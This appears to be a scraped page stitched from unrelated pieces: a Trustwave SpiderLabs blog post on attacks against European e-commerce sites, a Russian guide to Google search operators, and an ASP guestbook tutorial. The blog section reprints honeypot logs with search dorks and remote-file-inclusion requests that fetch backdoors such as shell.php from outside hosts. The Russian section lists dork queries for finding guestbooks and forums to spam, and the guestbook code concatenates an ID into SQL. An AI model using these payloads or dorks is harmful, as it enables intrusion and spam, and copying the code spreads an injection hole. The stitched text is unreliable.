Жаба inurl sign guestbook asp. Просмотр списка файлов в директориях
As you may have heard, Trustwave SpiderLabs released our , which highlights a vast amount of valuable data from our 2011 engagements. In this blog post, I want to highlight a specific section of the GSR which highlights specific attack methodologies used by attackers against our customers in Europe.
There is a section in the GSR dedicated to our Europe, Middle East and Asia (EMEA) region customers. Solomon Bhala, who is a Security Consultant on the Trustwave SpiderLabs Incident Response Team, outlined the following with regards to differenct attack vectors in use in the European region:
In contrast to data compromise trends in the Americas, very few data compromises occurred in POS networks in Europe, the Middle East and Africa (EMEA). Rather, as a result of higher adoption of "chip & pin" (EMV) and deprecation of magnetic stripe (mag-stripe) transactions within Europe, fewer opportunities exist in EMEA for the theft of track data used in mag-stripe transactions.
However, across the region many mag-stripe enabled POS systems remain in use to support mag-stripe only cards or transactions that fall back to mag-stripe when EMV fails. As such, card-present compromises do still occur in small numbers.
Overwhelmingly, e-commerce merchants in EMEA were the targets for cyber criminals. E-commerce businesses allow attackers to be geographically indiscriminate and concerned only with identifying targets that pose little technical complexity in compromising.
The typical vulnerabilities exploited in EMEA investigations were insecure, but legitimate file upload mechanisms or exploitable remote file inclusion vectors.
The typical attack flow looks something like this:
Source: Tustwave"s 2012 Global Security Report
The SpiderLabs Research Team has also gathered data from web honeypot systems that confirm this type of attack methodology.
Using Search Engines to Identify Targets
Attackers will often use search engine queries as a method of quickly identifying web sites that have certain characterisics for the vulnerabilties they are looking to exploit. When search engine results are returned, the attacker then has a list of possible target websites to launch attacks. Here are some example Referer data taken from the logs from our web honeypots showing use of search engine usage to identify common vulnerable apps:
Http://www.google.com/m?client=ms-aff-ucweb&output=xhtml&hl=en&q=inurl%3a+admin%2f+login.phphttp://www.google.com/m?client=ms-opera-mini&channel=new&q=inurl%3A+log.Txthttp://www.google.com/m?cx=partner-mb-pub-6630117049886772:7963048852&ie=utf8&hl=en&q=inurl%3A%20admin/login.phphttp://www.google.com/m?cx=partner-mb-pub-6630117049886772:7963048852&ie=utf8&hl=en&q=inurl%3A%20adminlogin.phphttp://yandex.ru/yandsearch?text=biz+inurl:/gbook+sign.asp
http://yandex.ru/yandsearch?text=car+used+inurl:/light.cgi?page=
http://yandex.ru/yandsearch?text=check+inurl:/guestbook.asp
http://yandex.ru/yandsearch?text=coid+inurl:/write.asp
http://yandex.ru/yandsearch?text=dates+inurl:/modules.php?name=
http://yandex.ru/yandsearch?text=devalues+inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22
http://yandex.ru/yandsearch?text=dictionary+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=event+inurl:/minibbs.cgi?log=
http://yandex.ru/yandsearch?text=harder+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=inurl:%22blog
http://yandex.ru/yandsearch?text=inurl:_articles.php?homeid=
http://yandex.ru/yandsearch?text=inurl:/fckeditor/editor/filemanager
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats altered states wikipedia
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats sanctioning body sports
http://yandex.ru/yandsearch?text=inurl:/index.php?action=stats what accomplishments to put on a resume
http://yandex.ru/yandsearch?text=inurl:/modules.php?name= questions and solutions engineering
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22+connection
http://yandex.ru/yandsearch?text=inurl:/register+intext:%22upcoming%22+intext:%22published%22+intext:%22submit%22+-inurl:.php+intitle:%22register%22+finance
http://yandex.ru/yandsearch?text=inurl:/register.php+north
http://yandex.ru/yandsearch?text=inurl:/register.php+you
http://yandex.ru/yandsearch?text=inurl:/?show=guestbook&lr=213
http://yandex.ru/yandsearch?text=kept+inurl:/bbs.cgi?id=
http://yandex.ru/yandsearch?text=library+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=op+inurl:/gbook.cgi?user=
http://yandex.ru/yandsearch?text=print+inurl:/guestbook.php
http://yandex.ru/yandsearch?text=provide+inurl:/bbs.cgi?room=
http://yandex.ru/yandsearch?text=systems+inurl:/board.cgi?action=
http://yandex.ru/yandsearch?text=visits+inurl:/postcards.php?image_id=
http://yandex.ru/yandsearch?text=zi+inurl:/profile.php?id=
Using Vulnerability Scanning Tools/Scripts
Here are a few of the top vulnerability scanner/script names taken from the User-Agent fields of our web honeypot logs:
DataCha0s/2.0Gootkit auto-rooter scannerMade by ZmEu @ WhiteHat Team - www.whitehat.roMaMa CaSpErMorfeus Fucking ScannerZmEu
Exploit Remote File Inclusion Vulnerabilty
Remote File Inclusion vulnerabilities are being extensively targted by attackers as a means to either execute php code or download a trojan backdoor application. Here are some RFI attack payloads that we gathered from our web honeypot just for today:
GET /become_editor.php?theme_path=http://www.univerzum.de/allnett.jpg?? HTTP/1.1
GET /become_editor.php?theme_path=http://www.univerzum.de/byroee.jpg?? HTTP/1.1
GET /become_editor.php?theme_path=?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET //manager/admin/index.php?MGR=http://www.ralphlaurenukonlineshop.com/list.txt????? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N7.jpg?? HTTP/1.1
GET //php/init.poll.php?include_class=http://www.nettunoresidence.it/wp-content/themes/N8.jpg?? HTTP/1.1
GET //?_SERVER=http://www.triz.or.kr//data/log/auto1.txt?? HTTP/1.1
GET /webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://popsiclesocial.com/mmstaging//wp-admin/user/?? HTTP/1.1
GET //wp-content/plugins/wp_rokstories/?src=http://udassham.com//air.php HTTP/1.1
GET //wp-content/themes/arras/library/timhumb.php?src=http://blogger.com.mesco.com.vn/login.php HTTP/1.1
GET //wp-content/themes/arras/library/widgets.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET /wp-content/themes/cadabrapress/scripts/?src=http://blogger.com.3085.a.hostable.me/myid.php HTTP/1.1
GET /wp-content/themes/cadabrapress/scripts/?src=http://flickr.com.javafootwear.com/vegetable.php HTTP/1.1
GET /wp-content/themes/cadabrapress/scripts/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
GET //wp-content/themes/DeepFocus/_tbs.php?src=http://blogger.com.herzelconsultores.com.ar/shell.php HTTP/1.1
GET ///wp-content/themes/editorial/functions/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
GET //wp-content/themes/Magnificent/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
GET ///wp-content/themes/optimize/?src=http://blogger.com.antesagoradepois.com/depois.php HTTP/1.1
GET //wp-content/themes/Polished/_tbs.php?src=http://picasa.com.amplarh.com.br/stun.php HTTP/1.1
GET //wp-content/themes/prosto/functions/?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1
GET //wp-content/themes/sakura/plugins/woo-tumblog/functions/_tbs.php?src=http://picasa.com.fuckfashionwearart.com/injekan/injekan.php HTTP/1.1
GET //wp-content/themes/telegraph/scripts/?src=http://img.youtube.com.uscd.ro/bogel.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/byroe.php HTTP/1.1
GET //wp-?src=http://flickr.com.bpmohio.com/spread.php HTTP/1.1
Each of these files referenced by the http off site payload is some type of PHP code or backdoor. Once the backdoor/trojan web page is installed, the attacker can then use it to do the following:
Search local files for credit card holder data:
Directly connect to the database listener to search for records.
This is possible as many ACLs allow access from the localhost. This also allows the attacker to execute SQL queries that may not have been possible through SQL Injection vulnreablities in the web application.
Как правильно искать с помощью google.com
Все наверное умеют пользоваться такой поисковой системой, как гугл =) Но не все знают, что если грамотно составить поисковой запрос с помощью специальных конструкций, то можно достичь результатов того, что Вы ищете намного эффективнее и быстрее =) В этой статье я постараюсь показать что и как Вам нужно делать, чтобы искать правильно
Гугл поддерживает несколько расширенных операторов поиска, имеющими специальное
значение при поиске на google.com. Типично, эти операторы изменяют поиск, или
даже говорят гуглу делать полностью различные типы поиска. Например, конструкция
link:
является специальным оператором, и запрос link:www.google.com
не даст вам нормального поиска, но вместо этого найдет все web-страницы, которые
имеют связи к google.com.
альтернативные типы запросов
cache:
Если Вы будете включать другие слова в запрос, то Гугл подсветит
эти включенные слова в пределах кэшируемого документа.
Например, cache:www.сайт web
покажет кэшируемое содержимое с
подсвеченным словом "web".
link:
рассматриваемый выше поисковой запрос покажет веб-страницы, на
которых содержатся ссылки к указанному запросу.
Например: link:www.сайт
отобразит все страницы на которых есть
ссылка на http://www.сайт
related:
Отобразит web-страницы, которые являются "подобными" (related)
указанной web-странице.
Например, related: www.google.com
перечислит web-страницы, которые
являются подобными домашней странице Гугл.
info:
Информация запроса: представит немного информации, которую Гугл
имеет о запрашиваемой web-странице.
Например, info:сайт
покажет информацию о нашем форуме =)
(Армада - Форум адалт вебмастеров).
Другие информационные запросы
define: Запрос define: обеспечит определение слов, которые Вы вводите после того, как это, собранный из различных сетевых источников. Определение будет для всей введенной фразы (то есть, это будет включать все слова в точный запрос).
stocks:
Если Вы начинаете запрос с stocks: Гугл обработает остальную
часть сроков запроса как символы биржевых сводок, и свяжется со страницей,
показывающую готовую информацию для этих символов.
Например, stocks: Intel yahoo
покажет информацию о Intel и Yahoo.
(Отметьте, что Вы должны напечатать символы последних новостей, не название
компании)
Модификаторы Запросов
site:
Если Вы включаете site: в ваш запрос, Гугл ограничит результаты
теми вебсайтами, которые найдет в данном домене.
Также можно искать и по отдельным зонам, как таковое ru, org, com, etc (
site:com
site:ru
)
allintitle:
Если Вы запускаете запрос с allintitle:, Гугл ограничит
результаты со всеми словами запроса в заголовке.
Например, allintitle: google search
вернет все страницы гугла по поиску
как то images, Blog, etc
intitle:
Если Вы включаете intitle: в вашем запросе, Гугл ограничит
результаты документами, содержащими то слово в заголовке.
Например, intitle:Бизнес
allinurl:
Если Вы запускаете запрос с allinurl: Гугл ограничит
результаты, со всеми словами запроса в URL.
Например, allinurl: google search
вернет документы с google и search в
заголовке. Также как вариант можно разделять слова слэшем (/) тогда слова по
обе стороны слэша будут искаться в пределах одной страницы: Пример allinurl:
foo/bar
inurl:
Если Вы включаете inurl: в вашем запросе, Гугл ограничит
результаты документами, содержащими то слово в URL.
Например, Animation inurl:сайт
intext:
ищет только в тексте страницы указанное слово, игнорируя
заглавие и тексты ссылок, и прочее не относящееся к. Есть также и производная
этого модификатора - allintext:
т.е. далее все слова в запросе
будут искаться только в тексте, что тоже бывает важно, игнорируя часто
используемые слова в ссылках
Например, intext:форум
daterange: ищет во временных рамках (daterange:2452389-2452389), даты для времени указываются в Юлианском формате.
Ну и еще всякие интересные примеры запросов
Примеры составления запросов для Google. Для спамеров
Inurl:control.guest?a=sign
Site:books.dreambook.com “Homepage URL” “Sign my” inurl:sign
Site:www.freegb.net Homepage
Inurl:sign.asp “Character Count”
“Message:” inurl:sign.cfm “Sender:”
Inurl:register.php “User Registration” “Website”
Inurl:edu/guestbook “Sign the Guestbook”
Inurl:post “Post Comment” “URL”
Inurl:/archives/ “Comments:” “Remember info?”
“Script and Guestbook Created by:” “URL:” “Comments:”
Inurl:?action=add “phpBook” “URL”
Intitle:”Submit New Story”
Журналы
Inurl:www.livejournal.com/users/ mode=reply
Inurl greatestjournal.com/ mode=reply
Inurl:fastbb.ru/re.pl?
Inurl:fastbb.ru /re.pl? “Гостевая книга”
Блоги
Inurl:blogger.com/comment.g?”postID”"anonymous”
Inurl:typepad.com/ “Post a comment” “Remember personal info?”
Inurl:greatestjournal.com/community/ “Post comment” “addresses of anonymous posters”
“Post comment” “addresses of anonymous posters” -
Intitle:”Post comment”
Inurl:pirillo.com “Post comment”
Форумы
Inurl:gate.html?”name=Forums” “mode=reply”
Inurl:”forum/posting.php?mode=reply”
Inurl:”mes.php?”
Inurl:”members.html”
Inurl:forum/memberlist.php?”
Here we start out with a simple "settings" file, named settings.asp. This file will be included on each page, and will contain the basic settings for this guestbook.
Since the password (logincode) is NOT in the database, you can leave the database in the webroot with a mappath statement to make the install easier. However, the best place for the database is outside of your webroot, in which case you would want to change the database_path string to your full path ("C:\inetpub\database\post.mdb" for example)
There is also an important settings to allow html, or not. Many times folks abuse a guestbook by filling it with links, and other junk. It would be a good idea to disallow html, unless you really need it.
The language setting is just a set of variables for text used within the system, for each language there is a different text that is used. Very easy to add a "new" language to the system.
Details
The login is a simple login check page, which checks the login code entered
on the form
with the one stored in the settings.asp file.
The login uses session variables to store the login information, so to log off we simple abandon the session. The redirect appends the date to avoid seeing a "cached" login page after being logged out. This is not a security issue, but just for convenience.
<% session.abandon response .redirect(" post.asp?d=" & date ) %>
Now the main code is the post.asp page, this page is the same whether you are logged in as admin or just a guest visiting the page. If you are logeed in you see the same data as a guest, only you have more options available, you can delete posts, or restore deleted posts, or empty the "recycle bin" (where deleted posts are stored until you clear them out).
As you can see from the code below, we check for the loggedin session right
from the start,
then we can use this throughout the rest of the script to
display data based on your status as admin or guest.
<% option explicit %>
<% LoggedIn = Session(" loginID" )Once you are logged in you see more options available.
The file is split up into "parts" depending on what querystring is passed.
The section below checks to see if you are logged in and then check so see
if
you have attempted to empty the "deleted" items from the database.
As you can see from the rest of the main "post" code, different items are displayed or actions performed based on being logged in or not, and if so what querystring value you have passed to the page.
" ============set based on delete or undelete============ If LoggedIn <> " " Then showdeleted = request .querystring(" showdeleted" ) if showdeleted = 1 then active = 2 removetype = 1 delete_text = undelete_text delimage = " undelete.gif" else active = 1 removetype = 2 delete_text = delete_text delimage = " delete.gif" end if else active = 1 end if " ============Delete/Undelete Items from the guestbook display============ remove = request .querystring(" remove" ) if remove = 1 then Set dConn = Server .CreateObject (" ADODB.Connection" ) dConn.Open " PROVIDER=MICROSOFT.JET.OLEDB.4.0;DATA SOURCE=" & database_path removetype = request .querystring(" removetype" ) mySQL = " UPDATE tblPost SET Active = " & removetype & " WHERE ID = " & _ ID & " ;" response .write " updating" dConn.execute(mySQL) dConn.Close set dConn = Nothing response .redirect(" post.asp" ) end if " ============End Delete Section============ Set dataRS = Server .CreateObject (" ADODB.RecordSet" ) dataSQL = " Select TOP " & show_posts & " message, remote_addr, sysdate, " &_ " systime, id FROM tblPost WHERE active = " & active &_ " order by sysdate DESC, systime DESC;" " Response.Write dataSQL " response.end Set dConn = Server .CreateObject (" ADODB.Connection" ) dConn.Open " PROVIDER=MICROSOFT.JET.OLEDB.4.0;DATA SOURCE=" & database_path dataRS.Open dataSQL, dConn, 1 , 3 recordcount = dataRS.recordcount if recordcount > 0 then data = dataRS.GetRows() " Data is retrieved so close all connections dataRS.Close Set dataRS = Nothing dconn.close set dconn = nothing " Setup for array usage iRecFirst = LBound (data, 2 ) iRecLast = UBound (data, 2 ) end if " ============IF IS A POST BACK============ message = trim (request .form(" message" )) if request .form(" ispostback" ) = 1 AND (len (message) > minimum_length) then if allow_html = " no" then message = RemoveHTMLtags(message) else message = PreSubmit2(message) end if strSQL = " tblPost" " Open a recordset Set cRS2 = Server .CreateObject (" ADODB.recordset" ) Set dConn = Server .CreateObject (" ADODB.Connection" ) dConn.Open " PROVIDER=MICROSOFT.JET.OLEDB.4.0;DATA SOURCE=" &_ database_path cRS2.Open strSQL, dConn, 1 ,3 cRS2.AddNew cRS2(" message" ) = message cRS2(" sysdate" ) = date () cRS2(" systime" ) = time () cRS2(" remote_addr" ) = request .ServerVariables(" remote_addr" ) cRS2(" Active" ) = 1 cRS2.Update cRS2.Close Set cRS2 = Nothing dConn.Close Set dConn = Nothing response .redirect(" post.asp" ) end if " ============End POSTBACK Section============ %>